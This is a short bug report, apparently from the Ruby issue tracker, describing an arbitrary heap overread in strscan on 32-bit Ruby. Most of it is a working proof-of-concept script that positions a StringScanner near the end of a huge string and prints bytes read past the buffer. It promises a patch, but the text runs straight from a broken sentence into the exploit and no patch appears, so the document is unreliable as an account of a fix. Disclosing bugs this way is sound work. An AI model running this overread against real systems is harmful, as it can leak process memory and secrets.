Arbitrary heap overread in strscan on 32 bit Ruby, patch included

Proposed patch is as follows. Note that I avoid the easy way of checking for overflow ie.

require 'strscan'
x = 'x' * 0x7FFFFFFE
s = StringScanner.new(x)
s.pos = 0x7FFFFFFD
t = s.peek(40000)
t.each_byte do |i|
	if i != 0
		print i.chr
	end
end